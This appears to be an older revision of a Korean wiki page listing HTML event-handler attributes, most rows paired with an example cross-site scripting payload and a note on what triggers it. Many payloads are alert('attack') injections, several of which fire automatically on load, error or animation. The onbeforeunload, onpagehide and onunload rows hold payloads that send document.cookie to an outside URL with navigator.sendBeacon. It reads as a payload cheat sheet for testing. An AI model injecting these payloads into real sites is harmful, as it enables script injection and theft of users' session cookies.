문서의 이전 판입니다!
| 속성 | 예시 | 비고 |
|---|---|---|
| onabort | - | 강제 중단/취소 |
| onactivate 1) | - | |
| onafterprint 2) | <body onafterprint="alert('attack')"> </body> <frameset onafterprint="alert('attack')"> </frameset> | 인쇄 후 - 인쇄 - 취소 |
| onafterscriptexecute 3) 4) | - | |
| onafterupdate 5) | - | |
| onanimationcancel 6) | - | 강제 중단/취소 |
| onanimationend 7) | <span onanimationend="alert('attack')" style="animation:progress-bar-stripes 1s"> </span> | 자동 실행 8) |
| onanimationiteration 9) | <span onanimationiteration="alert('attack')" style="animation:progress-bar-stripes 1s infinite"> </span> | 자동 실행 10) |
| onanimationstart 11) | <span onanimationstart="alert('attack')" style="animation:progress-bar-stripes 1s"> </span> | 자동 실행 12) |
| onappinstalled 13) 14) | <body onappinstalled="alert('attack')"> </body> | PWA 설치 성공 시 |
| onauxclick 15) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onauxclick="alert('attack')"> | (영역 내) 떼는 순간 - 왼쪽 버튼 이외 |
| onbeforeactivate 16) 17) | - | |
| onbeforecopy 18) | <span onbeforecopy="alert('attack')"> Ctrl + C </span> | 복사 시작 시 |
| onbeforecut 19) | <span onbeforecut="alert('attack')"> Ctrl + X </span> | 잘라내기 시작 시 |
| onbeforedeactivate 20) 21) | - | |
| onbeforeeditfocus 22) 23) | - | |
| onbeforeinput | <input onbeforeinput="alert('attack')"> | 입력 직전 |
| onbeforeinstallprompt 24) 25) | <body onbeforeinstallprompt="alert('attack')"> </body> | PWA 설치 가능 시 |
| onbeforematch | - | |
| onbeforepaste 26) | - | 붙여넣기 시작 시 |
| onbeforeprint 27) | <body onbeforeprint="alert('attack')"> </body> <frameset onbeforeprint="alert('attack')"> </frameset> | 인쇄 전 |
| onbeforescriptexecute 28) 29) | - | |
| onbeforetoggle | | |
| onbeforeunload 30) | <body onbeforeunload="navigator.sendBeacon ('https://wiki.jobdeveloper.co.kr', document.cookie)"> </body> <frameset onbeforeunload="navigator.sendBeacon ('https://wiki.jobdeveloper.co.kr', document.cookie)"> </frameset> <body onbeforeunload="return true"> </body> <frameset onbeforeunload="return true"> </frameset> <body onbeforeunload="event.returnValue=true"> </body> <frameset onbeforeunload="event.returnValue=true"> </frameset> | 페이지 이탈 시 |
| onbeforeupdate 31) | - | |
| onbegin 32) | <svg width="0" height="0"> <animate onbegin="alert('attack')"> </svg> | 자동 실행 |
| onblur 33) | <input onblur="alert('attack')"> | 포커스 이탈 시 |
| onbounce 34) | - | |
| oncancel | - | |
| oncanplay 35) | | |
| oncanplaythrough 36) | | |
| oncellchange 37) | - | |
| onchange 38) | <input onchange="alert('attack')"> | 1) 값 변경 2) 포커스 이탈 시 |
| onchargingchange 39) | - | |
| onclick | | |
| onclose | - | |
| oncontentvisibilityautostatechange | <span oncontentvisibilityautostatechange="alert('attack')" style="content-visibility:auto"> </span> | 자동 실행 |
| oncontextlost 40) | - | |
| oncontextmenu | | |
| oncontextrestored 41) | - | |
| oncontrolselect 42) | - | |
| oncopy 43) | <span oncopy="alert('attack')"> Ctrl + C </span> | 복사 실행 시 |
| oncuechange | | |
| oncut 44) | <span oncut="alert('attack')"> Ctrl + X </span> | 잘라내기 실행 시 |
| ondeactivate 45) 46) | - | |
| ondblclick | | |
| ondevicechange 47) | - | |
| ondevicemotion 48) | - | |
| ondeviceorientation 49) | - | |
| ondeviceorientationabsolute 50) | - | |
| ondrag | | |
| ondragend | | |
| ondragenter | | |
| ondragleave | | |
| ondragover | | |
| ondragstart | | |
| ondrop | | |
| ondurationchange | | |
| onend 51) | <svg width="0" height="0"> <animate onend="alert('attack')" dur="1s"> </svg> | 자동 실행 |
| onended | | |
| onerror | <img src="" onerror="alert('attack')"> | 자동 실행 |
| onerrorupdate 52) | - | |
| onfilterchange 53) | - | |
| onfinish 54) | - | |
| onfocus 55) | <input onfocus="alert('attack')"> | 포커스 진입 시 |
| onfocusin 56) | <input onfocusin="alert('attack')"> | 포커스 진입 시 |
| onfocusout 57) | <input onfocusout="alert('attack')"> | 포커스 이탈 시 |
| onformchange | - | 1) 값 변경 2) 포커스 이탈 시 |
| onformdata 58) | - | |
| onforminput | - | 입력 직후 |
| onfreeze 59) | - | |
| onfscommand 60) 61) | - | |
| onfullscreenchange | - | 전체 화면 변경 |
| onfullscreenerror | - | 전체 화면 오류 |
| ongamepadconnected 62) | - | |
| ongamepaddisconnected 63) | - | |
| ongotpointercapture 64) | - | 제어권 획득 |
| onhashchange | - | 해시(#) 변경 시 |
| onhelp 65) | - | |
| oninput | <input oninput="alert('attack')"> | 입력 직후 |
| oninvalid | | |
| onkeydown | | |
| onkeypress | | |
| onkeyup | | |
| onlanguagechange 66) 67) | <body onlanguagechange="alert('attack')"> </body> | 브라우저 설정 - 언어 추가/삭제/이동 - 이 언어로 표시 |
| onlayoutcomplete 68) | - | |
| onlevelchange 69) | - | |
| onload | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onload="alert('attack')"> | 자동 실행 |
| onloadeddata 70) | | |
| onloadedmetadata 71) | | |
| onloadstart 72) | <audio src="" onloadstart="alert('attack')"> <video src="" onloadstart="alert('attack')"> | 자동 실행 |
| onlostpointercapture 73) | - | 제어권 상실 |
| onmessage 74) | - | |
| onmessageerror 75) | - | |
| onmousedown | | |
| onmouseenter | | |
| onmouseleave | | |
| onmousemove | | |
| onmouseout | | |
| onmouseover | | |
| onmouseup | | |
| onmousewheel | | |
| onmove | | |
| onmoveend | | |
| onmovestart | | |
| onmozfullscreenchange 76) | - | 전체 화면 변경 |
| onmozfullscreenerror 77) | - | 전체 화면 오류 |
| onoffline 78) | - | 온라인 → 오프라인 |
| ononline 79) | - | 오프라인 → 온라인 |
| onorientationchange 80) | <body onorientationchange="alert('attack')"> </body> | 화면 회전 |
| onpagehide 81) | <body onpagehide="navigator.sendBeacon ('https://wiki.jobdeveloper.co.kr', document.cookie)"> </body> <frameset onpagehide="navigator.sendBeacon ('https://wiki.jobdeveloper.co.kr', document.cookie)"> </frameset> | 페이지 이탈 시 |
| onpageshow 82) | <body onpageshow="alert('attack')"> </body> <frameset onpageshow="alert('attack')"> </frameset> | 페이지 진입 시 |
| onpaste 83) | <span onpaste="alert('attack')"> Ctrl + V </span> | 붙여넣기 실행 시 |
| onpause 84) | | |
| onplay 85) | | |
| onplaying | | |
| onpointercancel 86) | - | 강제 중단/취소 |
| onpointerdown 87) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 |
| onpointerenter 88) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerenter="alert('attack')"> | (영역 내) 진입 시 |
| onpointerleave 89) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerleave="alert('attack')"> | (영역 내) 이탈 시 |
| onpointermove 90) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointermove="alert('attack')"> | (영역 내) 이동 시 |
| onpointerout 91) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerout="alert('attack')"> | (영역 내) 이탈 시 |
| onpointerover 92) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerover="alert('attack')"> | (영역 내) 진입 시 |
| onpointerrawupdate 93) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerrawupdate="alert('attack')"> | (영역 내) 이동 시 |
| onpointerup 94) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerup="alert('attack')"> | (영역 내) 떼는 순간 |
| onpopstate | | |
| onpresentationconnectionavailable 95) | - | |
| onprogress 96) | | |
| onpropertychange | | |
| onratechange | | |
| onreadystatechange 97) | - | |
| onrejectionhandled 98) | - | |
| onrepeat 99) | <svg width="0" height="0"> <animate onrepeat="alert('attack')" dur="1s" repeatCount="2"> </svg> <svg width="0" height="0"> <animate onrepeat="alert('attack')" dur="1s" repeatCount="indefinite"> </svg> | 자동 실행 |
| onreset 100) | - | |
| onresize 101) | <body onresize="alert('attack')"> </body> <frameset onresize="alert('attack')"> </frameset> <svg width="0" height="0" onresize="alert('attack')"> </svg> | 창 크기 변경 |
| onresume 102) | - | |
| onrowenter 103) | - | |
| onrowexit 104) | - | |
| onrowsdelete 105) | - | |
| onrowsinserted 106) | - | |
| onscroll | | |
| onscrollend | | |
| onscrollsnapchange | | |
| onscrollsnapchanging | | |
| onsearch 107) | <input type="search" onsearch="alert('attack')"> | Enter 또는 x |
| onsecuritypolicyviolation | | |
| onseeked | | |
| onseeking | | |
| onselect 108) | <input onselect="alert('attack')"> <textarea onselect="alert('attack')"> </textarea> | 텍스트 선택 시 |
| onselectionchange | | |
| onselectstart | | |
| onshow | | |
| onslotchange | | |
| onstalled 109) | | |
| onstart 110) | - | |
| onstop | | |
| onstorage | | |
| onsubmit 111) | - | |
| onsuspend 112) | | |
| ontimeupdate 113) | | |
| ontoggle | | |
| ontouchcancel 114) | - | 강제 중단/취소 |
| ontouchend 115) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ontouchend="alert('attack')"> | (영역 내) 떼는 순간 |
| ontouchmove 116) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ontouchmove="alert('attack')"> | (영역 내) 이동 시 |
| ontouchstart 117) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ontouchstart="alert('attack')"> | (영역 내) 누르는 순간 |
| ontransitioncancel 118) | - | |
| ontransitionend 119) | - | |
| ontransitionrun 120) | - | |
| ontransitionstart 121) | - | |
| onunhandledrejection 122) | - | |
| onunload 123) | <body onunload="navigator.sendBeacon ('https://wiki.jobdeveloper.co.kr', document.cookie)"> </body> <frameset onunload="navigator.sendBeacon ('https://wiki.jobdeveloper.co.kr', document.cookie)"> </frameset> | 페이지 이탈 시 |
| onvisibilitychange | - | |
| onvolumechange | | |
| onvrdisplayactivate 124) | - | |
| onvrdisplaydeactivate 125) | - | |
| onwaiting 126) | | |
| onwebkitanimationcancel 127) | - | |
| onwebkitanimationend 128) | - | |
| onwebkitanimationiteration 129) | - | |
| onwebkitanimationstart 130) | - | |
| onwebkitcurrentplaybacktargetisitemcontainerchange 131) | - | |
| onwebkitfullscreenchange 132) | - | 전체 화면 변경 |
| onwebkitfullscreenerror 133) | - | 전체 화면 오류 |
| onwebkitmouseforcechanged 134) | - | |
| onwebkitmouseforcedown 135) | - | |
| onwebkitmouseforceup 136) | - | |
| onwebkitmouseforcewillbegin 137) | - | |
| onwebkittransitioncancel 138) | - | |
| onwebkittransitionend 139) | - | |
| onwebkittransitionrun 140) | - | |
| onwebkittransitionstart 141) | - | |
| onwebkitwillrevealbottom 142) | - | |
| onwheel | | |
| onzoom | | |